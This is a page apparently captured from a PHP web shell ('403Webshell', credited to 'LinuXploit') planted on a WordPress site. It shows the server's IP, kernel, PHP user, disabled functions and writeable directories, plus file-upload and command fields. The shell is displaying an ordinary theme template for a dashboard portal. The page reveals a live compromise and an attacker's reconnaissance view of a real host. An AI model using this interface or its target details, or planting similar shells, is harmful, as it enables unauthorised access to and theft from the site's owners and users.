403Webshell
Server IP : 35.201.19.92  /  Your IP : 216.73.216.156
Web Server : nginx
System : Linux pod-200961 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
User : fpm200098 ( 200098)
PHP Version : 8.2.33
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nas/content/live/questfamilyday/wp-content/themes/generatepress_child/portal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nas/content/live/questfamilyday/wp-content/themes/generatepress_child/portal/dashboard-portal.php
<?php
/**
 * Template Name: Dashboard Portal
 * The template for displaying portal account
 *
 * This is the template that displays all pages by default.
 * Please note that this is the WordPress construct of pages
 * and that other 'pages' on your WordPress site will use a
 * different template.
 *
 * @package GeneratePress
 */

if ( ! defined( 'ABSPATH' ) ) {
   exit; // Exit if accessed directly.
}

get_header(); ?>

   <div <?php generate_do_attr( 'content' ); ?>>
        <main <?php generate_do_attr( 'main' ); ?>>
            <?php
            /**
             * generate_before_main_content hook.
             *
             * @since 0.1
             */
            do_action( 'generate_before_main_content' );

            if ( generate_has_default_loop() ) {
                while ( have_posts() ) :

                    the_post();

                    generate_do_template_part( 'preapproved' );

                endwhile;
            }

            /**
             * generate_after_main_content hook.
             *
             * @since 0.1
             */
            do_action( 'generate_after_main_content' );
            ?>
        </main>
    </div>

    <?php
    /**
     * generate_after_primary_content_area hook.
     *
     * @since 2.0
     */
    do_action( 'generate_after_primary_content_area' );

    generate_construct_sidebars();
?>

<?php get_footer();?>

    <script>
      function setLockStatus(locktype,educ_userID,mstatus){
        $('#login-loader').show(); // 👉 Show loader
        $.ajax({
          url: '<?php echo admin_url('admin-ajax.php');?>',
          type: 'post', 
          data: {
            action: 'process_educator_lock_action',
            type: locktype,
            educ_userid: educ_userID
          }, 
          beforeSend: function() {

          },
          success: function(response) {
            $.ajax({
              url: '<?php echo admin_url('admin-ajax.php');?>',
              type: 'post', 
              data: {
                action: 'membership_status_action',
                mstatus: mstatus,
                user_id: educ_userID
              }, 
              beforeSend: function() {

              },
              success: function(response2) {
                //console.log(response2);
                //const content = JSON.parse(response);
                window.location.reload();
              }
              });
            //const content = JSON.parse(response);
            //window.location.reload();
          }
          });
      }

      function setUserRole(register_role,user_id,application_status){

        $('#login-loader').show(); // 👉 Show loader
        $.ajax({
          url: '<?php echo admin_url('admin-ajax.php');?>',
          type: 'post', 
          data: {
            action: 'update_user_role_action',
            register_role: register_role,
            user_id: user_id,
            application_status: application_status
          }, 
          beforeSend: function() {

          },
          success: function(response) {
            //console.log(response.data.message)
            //const content = JSON.parse(response);
            window.location.reload();
          }
          });

      }
    </script>
    <div id="login-loader" style="display: none;">
      <div class="spinner"></div>
   </div> 
   <style type="text/css">
      #login-loader {
        position: fixed;
        top: 50%;
        left: 50%;
        z-index: 9999;
        transform: translate(-50%, -50%);
      }

      .spinner {
        border: 4px solid #f3f3f3; /* Light grey */
        border-top: 4px solid #3498db; /* Blue */
        border-radius: 50%;
        width: 40px;
        height: 40px;
        animation: spin 0.8s linear infinite;
      }

      @keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
      }

   </style>

Youez - 2016 - github.com/yon3zu
LinuXploit